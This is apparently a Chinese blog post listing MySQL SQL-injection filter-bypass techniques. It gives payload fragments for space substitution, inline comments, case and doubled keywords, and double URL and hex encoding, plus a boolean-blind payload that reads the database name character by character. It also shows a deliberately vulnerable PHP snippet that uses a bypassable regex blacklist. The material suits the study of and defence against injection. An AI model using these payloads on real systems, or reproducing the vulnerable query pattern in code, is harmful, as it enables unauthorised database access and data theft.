mysql 16进制 绕过_sql注入绕过

1.空格过滤绕过

可用

/**/

制表符(url编码为%09)

换行符(%0a)

括号

反引号  代替空格

mysql数据库有一个特性。在条件语句中,在 where id =1 后面加上 “=1”,成为where id =1 =1 ,就是对前面所有结果&1,查询的结果与原来一样。

where id =1 =0 就是对于前面所有结果&0 ,查询的结果为除去原有查询结果的其他数据,输出的是除去1以外的信息。利用MYSQL的此特性,构造括号绕过payload,可以进行bool注入。

id =1 =(ascii(mid(database() from (1) for(1)))=99)

输出的结果是id=1的结果,则说明是&1,数据库名的第一个字符ascll码为99

输出的不是id =1 的结果,则说明是&0,数据库名的第一个字符的ascll码不是99

from 和 for 绕过逗号过滤

2.内联注释绕过

myssql会执行放在/! ……/中的语句,可以利用这个特性绕过特殊符号过滤

/*50010!union*/ /*!select*/

其中,500010表示mysql的版本号,5.00.10,当实际数据库版本高于内联注释中的版本号时,就会执行内联注释中的代码。

3.大小写绕过

黑名单中可能只针对大写\小写特殊符号

4.双写关键字绕过

selectselect

5.编码绕过

漏洞代码:

if(preg_match(' /select/i ' ,$_GET["id"])) {die("ERROR");} /*pre_match函数对GET型id参数进行了过滤,并对大小写情况进行了判断*/

else{

$id = $_GET['id'];

$sql = "SELECT * FROM user WHERE id =$id LIMIT 0,1"

$result = mysql_qurey($sql);

}

双重url编码绕过

id =1 and 1=2 union se%256cent 1,2 database()

十六进制编码绕过

MYSQL可以识别十六进制并对其进行自动转换

Unicode编码绕过

6.等价函数字符替换绕过

用like 或 in 代替 = 进行查询

sleep函数可用benchmark函数代替

ascii函数可用hex 、bin函数代替

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值